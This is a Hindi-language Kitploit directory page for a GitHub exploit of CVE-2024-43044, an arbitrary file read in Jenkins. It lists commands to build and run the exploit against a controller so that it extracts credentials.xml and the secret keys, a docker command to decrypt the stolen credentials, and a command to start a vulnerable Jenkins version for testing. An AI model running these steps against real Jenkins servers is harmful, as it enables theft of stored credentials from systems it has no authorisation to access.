Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2024-43044-jenkins-creds — CVE-2024-43044 के लिए एक्सप्लॉइट जो Jenkins कंट्रोलर से मनमाना फ़ाइल पढ़ने में सक्षम बनाता है, ताकि सीक्रेट कुंजियों का उपयोग करके credentials.xml को निकाला और डिक्रिप्ट किया जा सके। | Kitploit
उपकरण/GitHubGitHub/dacc4/cve-2024-43044-jenkins-creds
एन्क्रिप्शन/डिक्रिप्शन उपकरणभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंग
GitHubdacc4/cve-2024-43044-jenkins-creds

CVE-2024-43044-jenkins-creds

CVE-2024-43044 के लिए एक्सप्लॉइट जो Jenkins कंट्रोलर से मनमाना फ़ाइल पढ़ने में सक्षम बनाता है, ताकि सीक्रेट कुंजियों का उपयोग करके credentials.xml को निकाला और डिक्रिप्ट किया जा सके।

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें
291 साल पहलेअभी तक समीक्षित नहीं

परिचय

यह CVE-2024-43044 के लिए एक एक्सप्लॉइट है, एक आर्बिट्ररी फ़ाइल रीड जो एजेंट को कंट्रोलर से फ़ाइलें प्राप्त करने की अनुमति देती है।

यह एक्सप्लॉइट कमजोरी का उपयोग करके credentials.xml फ़ाइल को पढ़ेगा और उसे डिक्रिप्ट करने के लिए गुप्त कुंजियाँ प्राप्त करेगा।

प्रारंभिक कोड : https://github.com/convisolabs/CVE-2024-43044-jenkins मूल राइटअप : https://blog.convisoappsec.com/en/analysis-of-cve-2024-43044/

एक्सप्लॉइट बनाना

mvn package

एक्सप्लॉइट चलाना

java -jar exploit.jar mode_secret <jenkinsUrl> <nodeName> <nodeSecretKey>

credentials.xml को डिक्रिप्ट करना

docker run \
  --rm \
  --network none \
  --workdir / \
  --mount "type=bind,src=$PWD/master.key,dst=/master.key" \
  --mount "type=bind,src=$PWD/hudson.util.Secret,dst=/hudson.util.Secret" \
  --mount "type=bind,src=$PWD/credentials.xml,dst=/credentials.xml" \
  docker.io/hoto/jenkins-credentials-decryptor:latest \
  /jenkins-credentials-decryptor \
    -m master.key \
    -s hudson.util.Secret \
    -c credentials.xml \
    -o json

परीक्षण

आप इसे डॉकर का उपयोग करके कमजोर संस्करण में परीक्षण कर सकते हैं:

docker run -p 8080:8080 -p 50000:50000 --restart=on-failure jenkins/jenkins:2.441-jdk17

एक बार जब आपके पास चल रहा जेनकिंस हो, तो एक एजेंट सेटअप करें।

टूल डाउनलोड करें